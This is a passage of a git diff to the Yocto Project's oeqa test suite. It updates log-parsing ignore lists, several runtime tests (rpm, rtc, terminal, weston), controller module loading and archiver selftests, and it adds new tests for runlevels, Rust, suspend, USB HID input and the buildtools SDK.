"Failed to load module \"fbdev\"",
"Failed to load module fbdev",
"Failed to load module glx",
- "[drm] Cannot find any crtc or sizes - going 1024x768",
+ "[drm] Cannot find any crtc or sizes",
"_OSC failed (AE_NOT_FOUND); disabling ASPM",
"Open ACPI failed (/var/run/acpid.socket) (No such file or directory)",
"NX (Execute Disable) protection cannot be enabled: non-PAE kernel!",
@@ -59,6 +59,7 @@ common_errors = [
"Failed to process device, ignoring: Device or resource busy",
"Cannot find a map file",
"[rdrand]: Initialization Failed",
+ "[rndr ]: Initialization Failed",
"[pulseaudio] authkey.c: Failed to open cookie file",
"[pulseaudio] authkey.c: Failed to load authentication key",
]
@@ -88,6 +89,9 @@ qemux86_common = [
'tsc: HPET/PMTIMER calibration failed',
"modeset(0): Failed to initialize the DRI2 extension",
"glamor initialization failed",
+ "blk_update_request: I/O error, dev fd0, sector 0 op 0x0:(READ)",
+ "floppy: error",
+ 'failed to IDENTIFY (I/O error, err_mask=0x4)',
] + common_errors
ignore_errors = {
@@ -114,7 +118,12 @@ ignore_errors = {
'can\'t handle BAR above 4GB',
'Cannot reserve Legacy IO',
] + common_errors,
- 'qemuarm' : [
+ 'qemuppc64' : [
+ 'vio vio: uevent: failed to send synthetic uevent',
+ 'synth uevent: /devices/vio: failed to send uevent',
+ 'PCI 0000:00 Cannot reserve Legacy IO [io 0x10000-0x10fff]',
+ ] + common_errors,
+ 'qemuarmv5' : [
'mmci-pl18x: probe of fpga:05 failed with error -22',
'mmci-pl18x: probe of fpga:0b failed with error -22',
'Failed to load module "glx"',
@@ -128,6 +137,7 @@ ignore_errors = {
'OF: amba_device_add() failed (-19) for /amba/fpga/sci@a000',
'Failed to initialize \'/amba/timer@101e3000\': -22',
'jitterentropy: Initialization failed with host not compliant with requirements: 2',
+ 'clcd-pl11x: probe of 10120000.display failed with error -2',
] + common_errors,
'qemuarm64' : [
'Fatal server error:',
@@ -293,7 +303,7 @@ class ParseLogsTest(OERuntimeTestCase):
grepcmd = 'grep '
grepcmd += '-Ei "'
for error in errors:
- grepcmd += '\<' + error + '\>' + '|'
+ grepcmd += r'\<' + error + r'\>' + '|'
grepcmd = grepcmd[:-1]
grepcmd += '" ' + str(log) + " | grep -Eiv \'"
@@ -304,13 +314,13 @@ class ParseLogsTest(OERuntimeTestCase):
errorlist = ignore_errors['default']
for ignore_error in errorlist:
- ignore_error = ignore_error.replace('(', '\(')
- ignore_error = ignore_error.replace(')', '\)')
+ ignore_error = ignore_error.replace('(', r'\(')
+ ignore_error = ignore_error.replace(')', r'\)')
ignore_error = ignore_error.replace("'", '.')
- ignore_error = ignore_error.replace('?', '\?')
- ignore_error = ignore_error.replace('[', '\[')
- ignore_error = ignore_error.replace(']', '\]')
- ignore_error = ignore_error.replace('*', '\*')
+ ignore_error = ignore_error.replace('?', r'\?')
+ ignore_error = ignore_error.replace('[', r'\[')
+ ignore_error = ignore_error.replace(']', r'\]')
+ ignore_error = ignore_error.replace('*', r'\*')
ignore_error = ignore_error.replace('0-9', '[0-9]')
grepcmd += ignore_error + '|'
grepcmd = grepcmd[:-1]
diff --git a/meta/lib/oeqa/runtime/cases/ptest.py b/meta/lib/oeqa/runtime/cases/ptest.py
index a9572c81f0..00742da2b5 100644
--- a/meta/lib/oeqa/runtime/cases/ptest.py
+++ b/meta/lib/oeqa/runtime/cases/ptest.py
@@ -57,7 +57,7 @@ class PtestRunnerTest(OERuntimeTestCase):
ptest_dirs = [ '/usr/lib' ]
if not libdir in ptest_dirs:
ptest_dirs.append(libdir)
- status, output = self.target.run('ptest-runner -d \"{}\"'.format(' '.join(ptest_dirs)), 0)
+ status, output = self.target.run('ptest-runner -t 450 -d \"{}\"'.format(' '.join(ptest_dirs)), 0)
os.makedirs(ptest_log_dir)
with open(ptest_runner_log, 'w') as f:
f.write(output)
@@ -108,4 +108,5 @@ class PtestRunnerTest(OERuntimeTestCase):
failmsg = failmsg + "Failed ptests:\n%s" % pprint.pformat(failed_tests)
if failmsg:
+ self.logger.warning("There were failing ptests.")
self.fail(failmsg)
diff --git a/meta/lib/oeqa/runtime/cases/rpm.py b/meta/lib/oeqa/runtime/cases/rpm.py
index 8e18b426f8..a4339116bf 100644
--- a/meta/lib/oeqa/runtime/cases/rpm.py
+++ b/meta/lib/oeqa/runtime/cases/rpm.py
@@ -116,12 +116,12 @@ class RpmInstallRemoveTest(OERuntimeTestCase):
Author: Alexander Kanavin <alex.kanavin@gmail.com>
AutomatedBy: Daniel Istrate <daniel.alexandrux.istrate@intel.com>
"""
- db_files_cmd = 'ls /var/lib/rpm/__db.*'
+ db_files_cmd = 'ls /var/lib/rpm/rpmdb.sqlite*'
check_log_cmd = "grep RPM /var/log/messages | wc -l"
- # Make sure that some database files are under /var/lib/rpm as '__db.xxx'
+ # Make sure that some database files are under /var/lib/rpm as 'rpmdb.sqlite'
status, output = self.target.run(db_files_cmd)
- msg = 'Failed to find database files under /var/lib/rpm/ as __db.xxx'
+ msg = 'Failed to find database files under /var/lib/rpm/ as rpmdb.sqlite'
self.assertEqual(0, status, msg=msg)
self.tc.target.copyTo(self.test_file, self.dst)
@@ -141,13 +141,4 @@ class RpmInstallRemoveTest(OERuntimeTestCase):
self.tc.target.run('rm -f %s' % self.dst)
- # if using systemd this should ensure all entries are flushed to /var
- status, output = self.target.run("journalctl --sync")
- # Get the amount of entries in the log file
- status, output = self.target.run(check_log_cmd)
- msg = 'Failed to get the final size of the log file.'
- self.assertEqual(0, status, msg=msg)
- # Check that there's enough of them
- self.assertGreaterEqual(int(output), 80,
- 'Cound not find sufficient amount of rpm entries in /var/log/messages, found {} entries'.format(output))
diff --git a/meta/lib/oeqa/runtime/cases/rtc.py b/meta/lib/oeqa/runtime/cases/rtc.py
index a34c101a9d..c4e6681324 100644
--- a/meta/lib/oeqa/runtime/cases/rtc.py
+++ b/meta/lib/oeqa/runtime/cases/rtc.py
@@ -9,12 +9,12 @@ class RTCTest(OERuntimeTestCase):
def setUp(self):
if self.tc.td.get('VIRTUAL-RUNTIME_init_manager') == 'systemd':
self.logger.debug('Stopping systemd-timesyncd daemon')
- self.target.run('systemctl disable --now systemd-timesyncd')
+ self.target.run('systemctl disable --now --runtime systemd-timesyncd')
def tearDown(self):
if self.tc.td.get('VIRTUAL-RUNTIME_init_manager') == 'systemd':
self.logger.debug('Starting systemd-timesyncd daemon')
- self.target.run('systemctl enable --now systemd-timesyncd')
+ self.target.run('systemctl enable --now --runtime systemd-timesyncd')
@OETestDepends(['ssh.SSHTest.test_ssh'])
@OEHasPackage(['coreutils', 'busybox'])
diff --git a/meta/lib/oeqa/runtime/cases/runlevel.py b/meta/lib/oeqa/runtime/cases/runlevel.py
new file mode 100644
index 0000000000..3a4df8ace1
--- /dev/null
+++ b/meta/lib/oeqa/runtime/cases/runlevel.py
@@ -0,0 +1,22 @@
+from oeqa.runtime.case import OERuntimeTestCase
+from oeqa.core.decorator.depends import OETestDepends
+
+import time
+
+class RunLevel_Test(OERuntimeTestCase):
+
+ @OETestDepends(['ssh.SSHTest.test_ssh'])
+ def test_runlevel_3(self):
+ (status, output) = self.target.run("init 3 && sleep 5 && runlevel")
+ runlevel= '5 3'
+ self.assertEqual(output, runlevel, msg='Failed to set current runlevel to runlevel 3, current runlevel : %s' % output[-1])
+ (status, output) = self.target.run("uname -a")
+ self.assertEqual(status, 0, msg='Failed to run uname command, output: %s' % output)
+
+ @OETestDepends(['runlevel.RunLevel_Test.test_runlevel_3'])
+ def test_runlevel_5(self):
+ (status, output) = self.target.run("init 5 && sleep 5 && runlevel")
+ runlevel = '3 5'
+ self.assertEqual(output, runlevel, msg='Failed to set current runlevel to runlevel 5, current runlevel : %s' % output[-1])
+ (status, output) = self.target.run('export DISPLAY=:0 && x11perf -aa10text')
+ self.assertEqual(status, 0, msg='Failed to run 2D graphic test, output: %s' % output)
diff --git a/meta/lib/oeqa/runtime/cases/rust.py b/meta/lib/oeqa/runtime/cases/rust.py
new file mode 100644
index 0000000000..b3d6cf7f37
--- /dev/null
+++ b/meta/lib/oeqa/runtime/cases/rust.py
@@ -0,0 +1,19 @@
+#
+# SPDX-License-Identifier: MIT
+#
+
+from oeqa.runtime.case import OERuntimeTestCase
+from oeqa.core.decorator.depends import OETestDepends
+from oeqa.runtime.decorator.package import OEHasPackage
+
+class RustHelloworldTest(OERuntimeTestCase):
+ @OETestDepends(['ssh.SSHTest.test_ssh'])
+ @OEHasPackage(['rust-hello-world'])
+ def test_rusthelloworld(self):
+ cmd = "rust-hello-world"
+ status, output = self.target.run(cmd)
+ msg = 'Exit status was not 0. Output: %s' % output
+ self.assertEqual(status, 0, msg=msg)
+
+ msg = 'Incorrect output: %s' % output
+ self.assertEqual(output, "Hello, world!", msg=msg)
diff --git a/meta/lib/oeqa/runtime/cases/skeletoninit.py b/meta/lib/oeqa/runtime/cases/skeletoninit.py
index 4779cd6bb4..a12f1e9aae 100644
--- a/meta/lib/oeqa/runtime/cases/skeletoninit.py
+++ b/meta/lib/oeqa/runtime/cases/skeletoninit.py
@@ -4,7 +4,7 @@
# This test should cover https://bugzilla.yoctoproject.org/tr_show_case.cgi?case_id=284
# testcase. Image under test must have meta-skeleton layer in bblayers and
-# IMAGE_INSTALL_append = " service" in local.conf
+# IMAGE_INSTALL:append = " service" in local.conf
from oeqa.runtime.case import OERuntimeTestCase
from oeqa.core.decorator.depends import OETestDepends
from oeqa.core.decorator.data import skipIfDataVar
diff --git a/meta/lib/oeqa/runtime/cases/suspend.py b/meta/lib/oeqa/runtime/cases/suspend.py
new file mode 100644
index 0000000000..67b6f7e56f
--- /dev/null
+++ b/meta/lib/oeqa/runtime/cases/suspend.py
@@ -0,0 +1,33 @@
+from oeqa.runtime.case import OERuntimeTestCase
+from oeqa.core.decorator.depends import OETestDepends
+from oeqa.core.decorator.data import skipIfQemu
+import threading
+import time
+
+class Suspend_Test(OERuntimeTestCase):
+
+ def test_date(self):
+ (status, output) = self.target.run('date')
+ self.assertEqual(status, 0, msg = 'Failed to run date command, output : %s' % output)
+
+ def test_ping(self):
+ t_thread = threading.Thread(target=self.target.run, args=("ping 8.8.8.8",))
+ t_thread.start()
+ time.sleep(2)
+
+ status, output = self.target.run('pidof ping')
+ self.target.run('kill -9 %s' % output)
+ self.assertEqual(status, 0, msg = 'Not able to find process that runs ping, output : %s' % output)
+
+ def set_suspend(self):
+ (status, output) = self.target.run('sudo rtcwake -m mem -s 10')
+ self.assertEqual(status, 0, msg = 'Failed to suspends your system to RAM, output : %s' % output)
+
+ @skipIfQemu('qemuall', 'Test only runs on real hardware')
+ @OETestDepends(['ssh.SSHTest.test_ssh'])
+ def test_suspend(self):
+ self.test_date()
+ self.test_ping()
+ self.set_suspend()
+ self.test_date()
+ self.test_ping()
diff --git a/meta/lib/oeqa/runtime/cases/terminal.py b/meta/lib/oeqa/runtime/cases/terminal.py
index a268f26880..8fcca99f47 100644
--- a/meta/lib/oeqa/runtime/cases/terminal.py
+++ b/meta/lib/oeqa/runtime/cases/terminal.py
@@ -10,9 +10,12 @@ class TerminalTest(OERuntimeTestCase):
@OEHasPackage(['matchbox-terminal'])
@OETestDepends(['ssh.SSHTest.test_ssh'])
def test_terminal_running(self):
- t_thread = threading.Thread(target=self.target.run, args=('export DISPLAY=:0 && matchbox-terminal',))
+ t_thread = threading.Thread(target=self.target.run, args=("export DISPLAY=:0 && matchbox-terminal -e 'sh -c \"uname -a && exec sh\"'",))
t_thread.start()
time.sleep(2)
+
status, output = self.target.run('pidof matchbox-terminal')
+ number_of_terminal = len(output.split())
+ self.assertEqual(number_of_terminal, 1, msg='There should be only one terminal being launched. Number of terminal launched : %s' % number_of_terminal)
self.target.run('kill -9 %s' % output)
- self.assertEqual(status, 0, msg='Not able to find process that runs terminal.')
+ self.assertEqual(status, 0, msg='Not able to find process that runs terminal.')
diff --git a/meta/lib/oeqa/runtime/cases/usb_hid.py b/meta/lib/oeqa/runtime/cases/usb_hid.py
new file mode 100644
index 0000000000..3c292cf661
--- /dev/null
+++ b/meta/lib/oeqa/runtime/cases/usb_hid.py
@@ -0,0 +1,22 @@
+from oeqa.runtime.case import OERuntimeTestCase
+from oeqa.core.decorator.depends import OETestDepends
+from oeqa.core.decorator.data import skipIfQemu
+from oeqa.runtime.decorator.package import OEHasPackage
+
+class USB_HID_Test(OERuntimeTestCase):
+
+ def keyboard_mouse_simulation(self):
+ (status, output) = self.target.run('export DISPLAY=:0 && xdotool key F2 && xdotool mousemove 100 100')
+ return self.assertEqual(status, 0, msg = 'Failed to simulate keyboard/mouse input event, output : %s' % output)
+
+ def set_suspend(self):
+ (status, output) = self.target.run('sudo rtcwake -m mem -s 10')
+ return self.assertEqual(status, 0, msg = 'Failed to suspends your system to RAM, output : %s' % output)
+
+ @OEHasPackage(['xdotool'])
+ @skipIfQemu('qemuall', 'Test only runs on real hardware')
+ @OETestDepends(['ssh.SSHTest.test_ssh'])
+ def test_USB_Hid_input(self):
+ self.keyboard_mouse_simulation()
+ self.set_suspend()
+ self.keyboard_mouse_simulation()
diff --git a/meta/lib/oeqa/runtime/cases/weston.py b/meta/lib/oeqa/runtime/cases/weston.py
index a1c7183213..b3a7c2776d 100644
--- a/meta/lib/oeqa/runtime/cases/weston.py
+++ b/meta/lib/oeqa/runtime/cases/weston.py
@@ -53,7 +53,11 @@ class WestonTest(OERuntimeTestCase):
@OEHasPackage(['wayland-utils'])
def test_wayland_info(self):
- status, output = self.target.run(self.get_weston_command('wayland-info'))
+ if 'systemd' in self.tc.td['VIRTUAL-RUNTIME_init_manager']:
+ command = 'XDG_RUNTIME_DIR=/run wayland-info'
+ else:
+ command = self.get_weston_command('wayland-info')
+ status, output = self.target.run(command)
self.assertEqual(status, 0, msg='wayland-info error: %s' % output)
@OEHasPackage(['weston'])
diff --git a/meta/lib/oeqa/runtime/context.py b/meta/lib/oeqa/runtime/context.py
index 3826f27642..d707ab263a 100644
--- a/meta/lib/oeqa/runtime/context.py
+++ b/meta/lib/oeqa/runtime/context.py
@@ -5,6 +5,7 @@
#
import os
+import sys
from oeqa.core.context import OETestContext, OETestContextExecutor
from oeqa.core.target.ssh import OESSHTarget
@@ -119,8 +120,7 @@ class OERuntimeTestContextExecutor(OETestContextExecutor):
# XXX: Don't base your targets on this code it will be refactored
# in the near future.
# Custom target module loading
- target_modules_path = kwargs.get('target_modules_path', '')
- controller = OERuntimeTestContextExecutor.getControllerModule(target_type, target_modules_path)
+ controller = OERuntimeTestContextExecutor.getControllerModule(target_type)
target = controller(logger, target_ip, server_ip, **kwargs)
return target
@@ -130,15 +130,15 @@ class OERuntimeTestContextExecutor(OETestContextExecutor):
# AttributeError raised if not found.
# ImportError raised if a provided module can not be imported.
@staticmethod
- def getControllerModule(target, target_modules_path):
- controllerslist = OERuntimeTestContextExecutor._getControllerModulenames(target_modules_path)
+ def getControllerModule(target):
+ controllerslist = OERuntimeTestContextExecutor._getControllerModulenames()
controller = OERuntimeTestContextExecutor._loadControllerFromName(target, controllerslist)
return controller
# Return a list of all python modules in lib/oeqa/controllers for each
# layer in bbpath
@staticmethod
- def _getControllerModulenames(target_modules_path):
+ def _getControllerModulenames():
controllerslist = []
@@ -153,9 +153,8 @@ class OERuntimeTestContextExecutor(OETestContextExecutor):
else:
raise RuntimeError("Duplicate controller module found for %s. Layers should create unique controller module names" % module)
- extpath = target_modules_path.split(':')
- for p in extpath:
- controllerpath = os.path.join(p, 'lib', 'oeqa', 'controllers')
+ for p in sys.path:
+ controllerpath = os.path.join(p, 'oeqa', 'controllers')
if os.path.exists(controllerpath):
add_controller_list(controllerpath)
return controllerslist
@@ -175,16 +174,12 @@ class OERuntimeTestContextExecutor(OETestContextExecutor):
# Search for and return a controller or None from given module name
@staticmethod
def _loadControllerFromModule(target, modulename):
- obj = None
- # import module, allowing it to raise import exception
- module = __import__(modulename, globals(), locals(), [target])
- # look for target class in the module, catching any exceptions as it
- # is valid that a module may not have the target class.
try:
- obj = getattr(module, target)
- except:
- obj = None
- return obj
+ import importlib
+ module = importlib.import_module(modulename)
+ return getattr(module, target)
+ except AttributeError:
+ return None
@staticmethod
def readPackagesManifest(manifest):
diff --git a/meta/lib/oeqa/runtime/decorator/package.py b/meta/lib/oeqa/runtime/decorator/package.py
index 57178655cc..2d7e174dbf 100644
--- a/meta/lib/oeqa/runtime/decorator/package.py
+++ b/meta/lib/oeqa/runtime/decorator/package.py
@@ -45,14 +45,14 @@ class OEHasPackage(OETestDecorator):
msg = 'Checking if %s is not installed' % ', '.join(unneed_pkgs)
self.logger.debug(msg)
if not self.case.tc.image_packages.isdisjoint(unneed_pkgs):
- msg = "Test can't run with %s installed" % ', or'.join(unneed_pkgs)
+ msg = "Test can't run with %s installed" % ', or '.join(unneed_pkgs)
self._decorator_fail(msg)
if need_pkgs:
msg = 'Checking if at least one of %s is installed' % ', '.join(need_pkgs)
self.logger.debug(msg)
if self.case.tc.image_packages.isdisjoint(need_pkgs):
- msg = "Test requires %s to be installed" % ', or'.join(need_pkgs)
+ msg = "Test requires %s to be installed" % ', or '.join(need_pkgs)
self._decorator_fail(msg)
def _decorator_fail(self, msg):
diff --git a/meta/lib/oeqa/sdk/buildtools-cases/README b/meta/lib/oeqa/sdk/buildtools-cases/README
new file mode 100644
index 0000000000..d4f20faa9f
--- /dev/null
+++ b/meta/lib/oeqa/sdk/buildtools-cases/README
@@ -0,0 +1,2 @@
+These test cases are used by buildtools-tarball, and are not used by the testsdk
+class.
diff --git a/meta/lib/oeqa/sdk/buildtools-cases/build.py b/meta/lib/oeqa/sdk/buildtools-cases/build.py
new file mode 100644
index 0000000000..aee2e5a8c0
--- /dev/null
+++ b/meta/lib/oeqa/sdk/buildtools-cases/build.py
@@ -0,0 +1,30 @@
+#
+# SPDX-License-Identifier: MIT
+#
+
+import os, tempfile
+import time
+from oeqa.sdk.case import OESDKTestCase
+from oeqa.utils.subprocesstweak import errors_have_output
+errors_have_output()
+
+class BuildTests(OESDKTestCase):
+ """
+ Verify that bitbake can build virtual/libc inside the buildtools.
+ """
+ def test_libc(self):
+ with tempfile.TemporaryDirectory(prefix='bitbake-build-', dir=self.tc.sdk_dir) as testdir:
+ corebase = self.td['COREBASE']
+
+ self._run('. %s/oe-init-build-env %s' % (corebase, testdir))
+ with open(os.path.join(testdir, 'conf', 'local.conf'), 'ta') as conf:
+ conf.write('\n')
+ conf.write('DL_DIR = "%s"\n' % self.td['DL_DIR'])
+
+ try:
+ self._run('. %s/oe-init-build-env %s && bitbake virtual/libc' % (corebase, testdir))
+ finally:
+ delay = 10
+ while delay and (os.path.exists(testdir + "/bitbake.lock") or os.path.exists(testdir + "/cache/hashserv.db-wal")):
+ time.sleep(1)
+ delay = delay - 1
diff --git a/meta/lib/oeqa/sdk/buildtools-cases/gcc.py b/meta/lib/oeqa/sdk/buildtools-cases/gcc.py
new file mode 100644
index 0000000000..36ba15b134
--- /dev/null
+++ b/meta/lib/oeqa/sdk/buildtools-cases/gcc.py
@@ -0,0 +1,29 @@
+#
+# SPDX-License-Identifier: MIT
+#
+
+import os.path
+from oeqa.sdk.case import OESDKTestCase
+
+class GccTests(OESDKTestCase):
+ def test_verify_specs(self):
+ """
+ Verify that the compiler has been relocated successfully and isn't
+ looking in the hard-coded prefix.
+ """
+ # Canonicalise the SDK root
+ sdk_base = os.path.realpath(self.tc.sdk_dir)
+ # Canonicalise the location of GCC
+ gcc_path = os.path.realpath(self._run("command -v gcc").strip())
+ # Skip the test if the GCC didn't come from the buildtools, as it only
+ # comes with buildtools-extended-tarball.
+ if os.path.commonprefix((sdk_base, gcc_path)) != sdk_base:
+ self.skipTest("Buildtools does not provide GCC")
+
+ # This is the prefix that GCC is build with, and should be replaced at
+ # installation time.
+ sdkpath = self.td.get("SDKPATH")
+ self.assertTrue(sdkpath)
+
+ for line in self._run('gcc -dumpspecs').splitlines():
+ self.assertNotIn(sdkpath, line)
diff --git a/meta/lib/oeqa/sdk/buildtools-cases/https.py b/meta/lib/oeqa/sdk/buildtools-cases/https.py
new file mode 100644
index 0000000000..134879aab3
--- /dev/null
+++ b/meta/lib/oeqa/sdk/buildtools-cases/https.py
@@ -0,0 +1,20 @@
+#
+# SPDX-License-Identifier: MIT
+#
+
+from oeqa.sdk.case import OESDKTestCase
+from oeqa.utils.subprocesstweak import errors_have_output
+errors_have_output()
+
+class HTTPTests(OESDKTestCase):
+ """
+ Verify that HTTPS certificates are working correctly, as this depends on
+ environment variables being set correctly.
+ """
+
+ def test_wget(self):
+ self._run('env -i wget --debug --output-document /dev/null https://www.example.com')
+
+ def test_python(self):
+ # urlopen() returns a file-like object on success and throws an exception otherwise
+ self._run('python3 -c \'import urllib.request; urllib.request.urlopen("https://www.example.com/")\'')
diff --git a/meta/lib/oeqa/sdk/buildtools-cases/sanity.py b/meta/lib/oeqa/sdk/buildtools-cases/sanity.py
new file mode 100644
index 0000000000..64baaa8f84
--- /dev/null
+++ b/meta/lib/oeqa/sdk/buildtools-cases/sanity.py
@@ -0,0 +1,22 @@
+#
+# SPDX-License-Identifier: MIT
+#
+
+import shutil
+import os.path
+from oeqa.sdk.case import OESDKTestCase
+
+class SanityTests(OESDKTestCase):
+ def test_tools(self):
+ """
+ Test that wget and tar come from the buildtools, not the host. This
+ verifies that the buildtools have installed correctly. We can't check
+ for gcc as that is only installed by buildtools-extended.
+ """
+ for command in ("tar", "wget"):
+ # Canonicalise the SDK root
+ sdk_base = os.path.realpath(self.tc.sdk_dir)
+ # Canonicalise the location of this command
+ tool_path = os.path.realpath(self._run("command -v %s" % command).strip())
+ # Assert that the tool was found inside the SDK root
+ self.assertEquals(os.path.commonprefix((sdk_base, tool_path)), sdk_base)
diff --git a/meta/lib/oeqa/sdkext/testsdk.py b/meta/lib/oeqa/sdkext/testsdk.py
index ffd185ec55..159f0d135b 100644
--- a/meta/lib/oeqa/sdkext/testsdk.py
+++ b/meta/lib/oeqa/sdkext/testsdk.py
@@ -67,10 +67,10 @@ class TestSDKExt(TestSDKBase):
# and we don't spend hours downloading kernels for the kernel module test
# Abuse auto.conf since local.conf would be overwritten by the SDK
with open(os.path.join(sdk_dir, 'conf', 'auto.conf'), 'a+') as f:
- f.write('SSTATE_MIRRORS += " \\n file://.* file://%s/PATH"\n' % test_data.get('SSTATE_DIR'))
+ f.write('SSTATE_MIRRORS += "file://.* file://%s/PATH"\n' % test_data.get('SSTATE_DIR'))
f.write('SOURCE_MIRROR_URL = "file://%s"\n' % test_data.get('DL_DIR'))
f.write('INHERIT += "own-mirrors"\n')
- f.write('PREMIRRORS_prepend = " git://git.yoctoproject.org/.* git://%s/git2/git.yoctoproject.org.BASENAME \\n "\n' % test_data.get('DL_DIR'))
+ f.write('PREMIRRORS:prepend = "git://git.yoctoproject.org/.* git://%s/git2/git.yoctoproject.org.BASENAME "\n' % test_data.get('DL_DIR'))
# We need to do this in case we have a minimal SDK
subprocess.check_output(". %s > /dev/null; devtool sdk-install meta-extsdk-toolchain" % \
diff --git a/meta/lib/oeqa/selftest/cases/_sstatetests_noauto.py b/meta/lib/oeqa/selftest/cases/_sstatetests_noauto.py
index f7c356ad09..7ac03f0cec 100644
--- a/meta/lib/oeqa/selftest/cases/_sstatetests_noauto.py
+++ b/meta/lib/oeqa/selftest/cases/_sstatetests_noauto.py
@@ -90,7 +90,7 @@ class RebuildFromSState(SStateBase):
self.assertFalse(failed_cleansstate, msg="The following recipes have failed cleansstate(all others have passed both cleansstate and rebuild from sstate tests): %s" % ' '.join(map(str, failed_cleansstate)))
def test_sstate_relocation(self):
- self.run_test_sstate_rebuild(['core-image-sato-sdk'], relocate=True, rebuild_dependencies=True)
+ self.run_test_sstate_rebuild(['core-image-weston-sdk'], relocate=True, rebuild_dependencies=True)
def test_sstate_rebuild(self):
- self.run_test_sstate_rebuild(['core-image-sato-sdk'], relocate=False, rebuild_dependencies=True)
+ self.run_test_sstate_rebuild(['core-image-weston-sdk'], relocate=False, rebuild_dependencies=True)
diff --git a/meta/lib/oeqa/selftest/cases/archiver.py b/meta/lib/oeqa/selftest/cases/archiver.py
index ddd08ecf84..75195241b7 100644
--- a/meta/lib/oeqa/selftest/cases/archiver.py
+++ b/meta/lib/oeqa/selftest/cases/archiver.py
@@ -35,11 +35,11 @@ class Archiver(OESelftestTestCase):
src_path = os.path.join(bb_vars['DEPLOY_DIR_SRC'], bb_vars['TARGET_SYS'])
# Check that include_recipe was included
- included_present = len(glob.glob(src_path + '/%s-*' % include_recipe))
+ included_present = len(glob.glob(src_path + '/%s-*/*' % include_recipe))
self.assertTrue(included_present, 'Recipe %s was not included.' % include_recipe)
# Check that exclude_recipe was excluded
- excluded_present = len(glob.glob(src_path + '/%s-*' % exclude_recipe))
+ excluded_present = len(glob.glob(src_path + '/%s-*/*' % exclude_recipe))
self.assertFalse(excluded_present, 'Recipe %s was not excluded.' % exclude_recipe)
def test_archiver_filters_by_type(self):
@@ -67,11 +67,11 @@ class Archiver(OESelftestTestCase):
src_path_native = os.path.join(bb_vars['DEPLOY_DIR_SRC'], bb_vars['BUILD_SYS'])
# Check that target_recipe was included
- included_present = len(glob.glob(src_path_target + '/%s-*' % target_recipe))
+ included_present = len(glob.glob(src_path_target + '/%s-*/*' % target_recipe))
self.assertTrue(included_present, 'Recipe %s was not included.' % target_recipe)
# Check that native_recipe was excluded
- excluded_present = len(glob.glob(src_path_native + '/%s-*' % native_recipe))
+ excluded_present = len(glob.glob(src_path_native + '/%s-*/*' % native_recipe))
self.assertFalse(excluded_present, 'Recipe %s was not excluded.' % native_recipe)
def test_archiver_filters_by_type_and_name(self):
@@ -104,17 +104,17 @@ class Archiver(OESelftestTestCase):
src_path_native = os.path.join(bb_vars['DEPLOY_DIR_SRC'], bb_vars['BUILD_SYS'])
# Check that target_recipe[0] and native_recipes[1] were included
- included_present = len(glob.glob(src_path_target + '/%s-*' % target_recipes[0]))
+ included_present = len(glob.glob(src_path_target + '/%s-*/*' % target_recipes[0]))
self.assertTrue(included_present, 'Recipe %s was not included.' % target_recipes[0])
- included_present = len(glob.glob(src_path_native + '/%s-*' % native_recipes[1]))
+ included_present = len(glob.glob(src_path_native + '/%s-*/*' % native_recipes[1]))
self.assertTrue(included_present, 'Recipe %s was not included.' % native_recipes[1])
# Check that native_recipes[0] and target_recipes[1] were excluded
- excluded_present = len(glob.glob(src_path_native + '/%s-*' % native_recipes[0]))
+ excluded_present = len(glob.glob(src_path_native + '/%s-*/*' % native_recipes[0]))
self.assertFalse(excluded_present, 'Recipe %s was not excluded.' % native_recipes[0])
- excluded_present = len(glob.glob(src_path_target + '/%s-*' % target_recipes[1]))
+ excluded_present = len(glob.glob(src_path_target + '/%s-*/*' % target_recipes[1]))
self.assertFalse(excluded_present, 'Recipe %s was not excluded.' % target_recipes[1])
@@ -163,21 +163,21 @@ class Archiver(OESelftestTestCase):
Test that the archiver works with `ARCHIVER_MODE[src] = "patched"`.
"""
- self._test_archiver_mode('patched', 'selftest-ed-native-1.14.1-r0-patched.tar.gz')
+ self._test_archiver_mode('patched', 'selftest-ed-native-1.14.1-r0-patched.tar.xz')
def test_archiver_mode_configured(self):
"""
Test that the archiver works with `ARCHIVER_MODE[src] = "configured"`.
"""
- self._test_archiver_mode('configured', 'selftest-ed-native-1.14.1-r0-configured.tar.gz')
+ self._test_archiver_mode('configured', 'selftest-ed-native-1.14.1-r0-configured.tar.xz')
def test_archiver_mode_recipe(self):
"""
Test that the archiver works with `ARCHIVER_MODE[recipe] = "1"`.
"""
- self._test_archiver_mode('patched', 'selftest-ed-native-1.14.1-r0-recipe.tar.gz',
+ self._test_archiver_mode('patched', 'selftest-ed-native-1.14.1-r0-recipe.tar.xz',
'ARCHIVER_MODE[recipe] = "1"\n')
def test_archiver_mode_diff(self):
diff --git a/meta/lib/oeqa/selftest/cases/bblayers.py b/meta/lib/oeqa/selftest/cases/bblayers.py
index f131d9856c..7d74833f61 100644
--- a/meta/lib/oeqa/selftest/cases/bblayers.py
+++ b/meta/lib/oeqa/selftest/cases/bblayers.py
@@ -12,6 +12,11 @@ from oeqa.selftest.case import OESelftestTestCase
class BitbakeLayers(OESelftestTestCase):
+ def test_bitbakelayers_layerindexshowdepends(self):
+ result = runCmd('bitbake-layers layerindex-show-depends meta-poky')
+ find_in_contents = re.search("openembedded-core", result.output)
+ self.assertTrue(find_in_contents, msg = "openembedded-core should have been listed at this step. bitbake-layers layerindex-show-depends meta-poky output: %s" % result.output)
+
def test_bitbakelayers_showcrossdepends(self):
result = runCmd('bitbake-layers show-cross-depends')
self.assertIn('aspell', result.output)
diff --git a/meta/lib/oeqa/selftest/cases/bblogging.py b/meta/lib/oeqa/selftest/cases/bblogging.py
new file mode 100644
index 0000000000..ea6c3c8c77
--- /dev/null
+++ b/meta/lib/oeqa/selftest/cases/bblogging.py
@@ -0,0 +1,104 @@
+#
+# SPDX-License-Identifier: MIT
+#
+
+
+from oeqa.selftest.case import OESelftestTestCase
+from oeqa.utils.commands import bitbake
+
+class BitBakeLogging(OESelftestTestCase):
+
+ def assertCount(self, item, entry, count):
+ self.assertEqual(item.count(entry), count, msg="Output:\n'''\n%s\n'''\ndoesn't contain %d copies of:\n'''\n%s\n'''\n" % (item, count, entry))
+
+ def test_shell_logging(self):
+ # no logs, no verbose
+ self.write_config('BBINCLUDELOGS = ""')
+ result = bitbake("logging-test -c shelltest -f", ignore_status = True)
+ self.assertIn("ERROR: Logfile of failure stored in:", result.output)
+ self.assertNotIn("This is shell stdout", result.output)
+ self.assertNotIn("This is shell stderr", result.output)
+
+ # logs, no verbose
+ self.write_config('BBINCLUDELOGS = "yes"')
+ result = bitbake("logging-test -c shelltest -f", ignore_status = True)
+ self.assertIn("ERROR: Logfile of failure stored in:", result.output)
